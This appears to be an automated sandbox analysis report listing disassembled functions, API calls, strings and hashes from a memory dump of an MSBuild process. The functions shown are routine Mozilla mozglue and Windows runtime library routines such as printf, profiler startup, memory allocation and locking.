Strings

., xrefs: 6BCF476A
-%llu, xrefs: 6BCF4733
profiler-paused, xrefs: 6BCF46E4

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: b0b5902e72ab937be5072c5b2a317bd71ade3b330bf65ebdc79a2542a7c6ce27
Instruction ID: 2023df76018b01c19d76df51cad85cd4ffc4194cb30886c71642478952121add
Opcode Fuzzy Hash: b0b5902e72ab937be5072c5b2a317bd71ade3b330bf65ebdc79a2542a7c6ce27
Instruction Fuzzy Hash: 27415571E186089BCB08CF78E95215EBBE9EF85750F10867EE955AB341FB389942C341

Function 6BD19830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6BD1985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6BD1987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6BD198DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6BD198D9

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 084e1b561dca75a01376fafb2573531c0df578ccb91bba7ee44a22b9be87c632
Instruction ID: 9b5d12c9bf8bee28adb64c920604d4fb357d08751bb6aa9a51d191323377318b
Opcode Fuzzy Hash: 084e1b561dca75a01376fafb2573531c0df578ccb91bba7ee44a22b9be87c632
Instruction Fuzzy Hash: A2314975E001086FDB089F68DC419AFB7A9DF84318F50842DEB1A9F340EB399A01CBE1

Function 6BCF46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6BCF4721

Part of subcall function 6BCA4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6BCE3EBD,00000017,?,00000000,?,6BCE3EBD,?,?,6BCA42D2), ref: 6BCA4444

Strings

., xrefs: 6BCF476A
-%llu, xrefs: 6BCF4733
profiler-paused, xrefs: 6BCF46E4

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 5ad05de90b6dff121be327e7ab39ffd7f0446d3eee1ddc4733d862ad31c3d457
Instruction ID: add001e875ba43d8afb219108c75fc1d2aca5a9958b3f4bd36cd01710bdba407
Opcode Fuzzy Hash: 5ad05de90b6dff121be327e7ab39ffd7f0446d3eee1ddc4733d862ad31c3d457
Instruction Fuzzy Hash: E5311671F142085BCB08CF6CE99169EBBEA9F88314F15857EE9059B341FB789A05C750

Function 6BCAF100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6BD1D020), ref: 6BCAF122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6BCAF132

Strings

SHGetKnownFolderPath, xrefs: 6BCAF12C
shell32, xrefs: 6BCAF11D

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetKnownFolderPath$shell32
API String ID: 2574300362-1045111711
Opcode ID: 4d677f8d4d887032b920815e7f2436f7868b71f937ec0cec5bbde00a9e0d0b54
Instruction ID: 9b1ca9acba0eb94f55a0fa1d5b65e49205e865b2011e340bc271ef896c8a23ae
Opcode Fuzzy Hash: 4d677f8d4d887032b920815e7f2436f7868b71f937ec0cec5bbde00a9e0d0b54
Instruction Fuzzy Hash: 4C01B171A012169FDB108F75DC58A9BBFB8FF4A754B000029EA49DB200E734EA04CBA0

Function 6BCEE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCEE577
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE584
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6BCEE8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6BCEE777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6BCEE655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6BCEE826, 6BCEE850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6BCEE722, 6BCEE750, 6BCEE7A2
MOZ_PROFILER_STARTUP, xrefs: 6BCEE5A1, 6BCEE5CC, 6BCEE5FF, 6BCEE62A

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: bfd8974865a259325ea9c740a6df71b7509d77bb44247879fb2b08e6aeae2fcc
Instruction ID: e26ab3b8641c2bcd6f044c29598b66daeeb40db9c9dfcbac55ce821ef02fde9a
Opcode Fuzzy Hash: bfd8974865a259325ea9c740a6df71b7509d77bb44247879fb2b08e6aeae2fcc
Instruction Fuzzy Hash: 4011C431914395DFDB109F18C488B5AFBB4FB89768F00091AEA454F340E7B9E906CFA1

Function 6BCDCBE8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,6BCA31A7), ref: 6BCDCBF1
TerminateProcess.KERNEL32(00000000,00000003,?,6BCA31A7), ref: 6BCDCBFA

Strings

: (malloc) Error in VirtualFree(), xrefs: 6BCDD001
<jemalloc>, xrefs: 6BCDCFFC

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2429186680-2186867486
Opcode ID: d8fdc86194e2319842f88df2cf2dfb7af070d124dc2cec1e29a6761a0411da7f
Instruction ID: 9193b8ee425e93a342ef3fe65bf36e09a73e79fe07e531df1d05c0f8b38ab2d5
Opcode Fuzzy Hash: d8fdc86194e2319842f88df2cf2dfb7af070d124dc2cec1e29a6761a0411da7f
Instruction Fuzzy Hash: 10B092704143489BEB102BA4980DB09BB7CB749A01F04082AA3018A281CBFAE1008E61

Function 6BCB2272 Relevance: 6.6, APIs: 5, Instructions: 360COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6BCB237F
memcpy.VCRUNTIME140(?,?,00010000), ref: 6BCB2B9C

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 2dadc1988e15211d89260ee62ab2bcd488be1eea55ee80fdc105a0b6e3b42e82
Instruction ID: 00cf9d13cc318f59341e36dd996453cc4d968845416b6bd5e5fb5ccee493ae66
Opcode Fuzzy Hash: 2dadc1988e15211d89260ee62ab2bcd488be1eea55ee80fdc105a0b6e3b42e82
Instruction Fuzzy Hash: C3E16F71A102058FDB08CF69C8A0A9EBBB2FF88314F1981ADD9455F345E775EE85CB90

Function 6BCF9120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6BCF8242,?,00000000,?,6BCEB63F), ref: 6BCF9188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6BCF8242,?,00000000,?,6BCEB63F), ref: 6BCF91BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6BCF8242,?,00000000,?,6BCEB63F), ref: 6BCF91EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6BCF8242,?,00000000,?,6BCEB63F), ref: 6BCF9200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6BCF8242,?,00000000,?,6BCEB63F), ref: 6BCF9219

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 55aae811dd7b5e64241fe8db4ea12f0cca0b38c2201653cc4c2e77f8155c3a92
Instruction ID: 93b021fcbd57c5b808889f74ab1446545663fba1d3130acef3cce66f318ff481
Opcode Fuzzy Hash: 55aae811dd7b5e64241fe8db4ea12f0cca0b38c2201653cc4c2e77f8155c3a92
Instruction Fuzzy Hash: F0314431A106058BEF44CF68DC4476AB3A9EF81301F5585B9D856CB241FBB4DA06CBA1

Function 6BCE0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BD2E7DC), ref: 6BCE0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6BCE084C
EnterCriticalSection.KERNEL32(?), ref: 6BCE08AF
LeaveCriticalSection.KERNEL32(?), ref: 6BCE08BD
LeaveCriticalSection.KERNEL32(6BD2E7DC), ref: 6BCE08D5

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 3ea493f170c74a5d0769fc306cc07877b33f77ce64c8a542b72743e4591aadb8
Instruction ID: c7fae387348ec29e325b7ddba2e67fcf11fb3cde1d43353f9f3a55e233fb286e
Opcode Fuzzy Hash: 3ea493f170c74a5d0769fc306cc07877b33f77ce64c8a542b72743e4591aadb8
Instruction Fuzzy Hash: AC21B631A112498BEB148FB5D845BAEB379BF45714F400569D609AB240EF79EA05CBF0

Function 6BCB1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6BCB17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6BCB18EE
free.MOZGLUE(?), ref: 6BCB1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCB194C

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: a6675cf74c199759204c058bfea308a23e629b8f23d0bf5bc9ffdbc859b207f8
Instruction ID: d36c23db54b6fbd88b704de362b49ee8b6efa586d2664f8453ddf62601ead652
Opcode Fuzzy Hash: a6675cf74c199759204c058bfea308a23e629b8f23d0bf5bc9ffdbc859b207f8
Instruction Fuzzy Hash: 0D81A270E302159FDB08CF6CD8949AEBBB1FF89310F04456CE915AB354E734AA58CBA1

Function 6BD07170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6BD07250
EnterCriticalSection.KERNEL32(6BD2F688), ref: 6BD07277
__aulldiv.LIBCMT ref: 6BD072C4
LeaveCriticalSection.KERNEL32(6BD2F688), ref: 6BD072F7

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 95c724c4b45ab7f2a65f77721cd7a6aa0596d5d54477c9459c44517894985be8
Instruction ID: 4269348007e5ec05f70912f32fff6e1782f41d91f4605e951f785eadc61f0254
Opcode Fuzzy Hash: 95c724c4b45ab7f2a65f77721cd7a6aa0596d5d54477c9459c44517894985be8
Instruction Fuzzy Hash: D8517F71E00169DFDF08CFA8C950ABEF7B1FB89314F158A2AD955AB350C734A945CB90

Function 6BCACDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6BCACEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6BCACEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6BCACF4E

Strings

0, xrefs: 6BCACF30

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 0437d43e46303b3f87a5ab267b854c86e00e8e38e5831cee9595173a8e3d639e
Instruction ID: 965659ff9417aa0ccda44a8fb1980666b67d77fab243bb8ac10ab3c5aec8269b
Opcode Fuzzy Hash: 0437d43e46303b3f87a5ab267b854c86e00e8e38e5831cee9595173a8e3d639e
Instruction Fuzzy Hash: 445103759042568FCB00CF18C890AABBBA5EF99310F19859DD8595F352E735EE06CBE0

Function 6BCEE390 Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCEE3E4
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6BCEE4AB

Part of subcall function 6BCB5D40: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,?,?,?,6BCED2DA,00000001), ref: 6BCB5D66

ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE4F5
GetCurrentThreadId.KERNEL32 ref: 6BCEE577
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE584
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE5DE
memset.VCRUNTIME140(?,00000000,00000000), ref: 6BCEE6DA
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6BCEE864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCEE883
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6BCEE8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6BCEE777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6BCEE655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6BCEE826, 6BCEE850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6BCEE722, 6BCEE750, 6BCEE7A2
MOZ_PROFILER_STARTUP, xrefs: 6BCEE5A1, 6BCEE5CC, 6BCEE5FF, 6BCEE62A

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreememset$Xbad_function_call@std@@malloc
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 905598890-53385798
Opcode ID: 8f8f5867b52f354cfed6c50f2cb41493e7c361419ab721c245d7002b345ca0e2
Instruction ID: 930c25f921cdd086896092c0bbb8fd0e490eeb5775b8b496f5213c0df76e08ac
Opcode Fuzzy Hash: 8f8f5867b52f354cfed6c50f2cb41493e7c361419ab721c245d7002b345ca0e2
Instruction Fuzzy Hash: 2D41AE70A20606CFDB14CF68C490BAAB7B1FF4A344F00456ED9565B781E778EA56CFA0

Function 6BCFDAE0 Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6BCFDB86
??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6BCFDC0E
free.MOZGLUE(?), ref: 6BCFDC2E
free.MOZGLUE(?), ref: 6BCFDC40

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Impl@detail@mozilla@@Mutexfree
String ID:
API String ID: 3186548839-0
Opcode ID: e7a35df961f27c8ef1089d2235b91d25b19bf1f1a0f722e9eca41d9da0504c78
Instruction ID: 94cfcc5bc5b77d134bcc712cff984860da0f3f4bf763385d97dad00378ac418f
Opcode Fuzzy Hash: e7a35df961f27c8ef1089d2235b91d25b19bf1f1a0f722e9eca41d9da0504c78
Instruction Fuzzy Hash: 9A4188756107008FC710CF34C098B5ABBFABF88254F5488ADE99A8B341EB39E945CB51

Function 6BD077D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BD077FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6BD07829

Part of subcall function 6BCDCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6BCA31A7), ref: 6BCDCC45
Part of subcall function 6BCDCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6BCA31A7), ref: 6BCDCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6BD0789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6BD078CF

Part of subcall function 6BCA4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6BCA4E5A
Part of subcall function 6BCA4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6BCA4E97

Part of subcall function 6BCA4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6BCE3EBD,6BCE3EBD,00000000), ref: 6BCA42A9

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: d7f10edc75ab74cd85c65ca7a724a441b31d5dfdd82c4b301bf4ca7fdbdaf654
Instruction ID: 89e8fae6bce5da9bd4c2bd862963ad2fc1e64eabc234b5b46180e23b9e314455
Opcode Fuzzy Hash: d7f10edc75ab74cd85c65ca7a724a441b31d5dfdd82c4b301bf4ca7fdbdaf654
Instruction Fuzzy Hash: 4041C1719147469BD300DF29C48052BFBF4FFCA264F504A2EE5A98B240EB34E649CB92

Function 6BCFA2B0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6BCFA315
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?), ref: 6BCFA31F
free.MOZGLUE(00000000,?,?,?,?), ref: 6BCFA36A

Part of subcall function 6BCC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BCC5EDB
Part of subcall function 6BCC5E90: memset.VCRUNTIME140(6BD07765,000000E5,55CCCCCC), ref: 6BCC5F27
Part of subcall function 6BCC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6BCC5FB2

Part of subcall function 6BCF2140: free.MOZGLUE(?,00000060,?,6BCF7D36,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BCF215D

free.MOZGLUE(00000000), ref: 6BCFA37C

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveXbad_function_call@std@@memset
String ID:
API String ID: 700533648-0
Opcode ID: d4e847661bbf5804d9eb3abb43eb82d6cca17eddb7bcf04ace2925577813ca73
Instruction ID: dd9e76b9d9c07334975aaf0f939b275551c13e4eda4f0ec2cd3b32ef6eae97c1
Opcode Fuzzy Hash: d4e847661bbf5804d9eb3abb43eb82d6cca17eddb7bcf04ace2925577813ca73
Instruction Fuzzy Hash: 4521C1B5A116249BDB018B16D401B9FB7BCAF86764F0580A5EA095B300E73AEE07C6D2

